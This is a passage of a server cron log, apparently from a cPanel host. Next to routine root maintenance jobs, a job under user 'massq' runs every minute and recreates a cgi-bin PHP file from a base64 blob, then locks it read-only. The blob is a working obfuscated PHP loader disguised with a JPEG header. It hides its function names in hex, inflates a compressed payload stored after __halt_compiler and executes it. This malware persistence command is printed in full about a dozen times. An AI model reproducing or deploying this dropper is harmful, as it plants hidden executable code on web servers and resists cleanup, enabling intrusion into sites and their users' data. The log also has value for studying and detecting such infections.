QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:27:01 server CROND[2577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:27:01 server CROND[2578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 07:28:01 server CROND[2635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:29:01 server CROND[2691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:30:01 server CROND[2745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 07:30:01 server CROND[2747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:30:01 server CROND[2746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:30:01 server CROND[2748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:31:01 server CROND[2957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:32:01 server CROND[3013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:33:01 server CROND[3077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:34:01 server CROND[3131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:35:01 server CROND[3186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:35:01 server CROND[3187]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 07:35:01 server CROND[3189]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 07:35:01 server CROND[3190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:35:01 server CROND[3188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:36:01 server CROND[3310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:37:01 server CROND[3361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:38:01 server CROND[3409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:39:01 server CROND[3453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:39:01 server CROND[3454]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 07:40:01 server CROND[3508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:40:01 server CROND[3507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:40:01 server CROND[3509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 07:40:01 server CROND[3510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 